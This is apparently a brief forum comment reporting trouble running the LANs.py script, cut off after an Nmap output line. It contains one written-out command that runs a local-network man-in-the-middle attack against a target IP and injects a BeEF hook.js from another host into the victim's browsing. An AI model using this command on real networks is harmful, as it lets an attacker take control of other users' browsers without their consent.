Nice script flyingtriangle. When i run it with beef using

python LANs.py -u -p -n -ip 192.168.0.6 -b http://192.168.0.9:3000/hook.js

goes fine until:

[+] Nmap done: 1 IP address (1 host up)...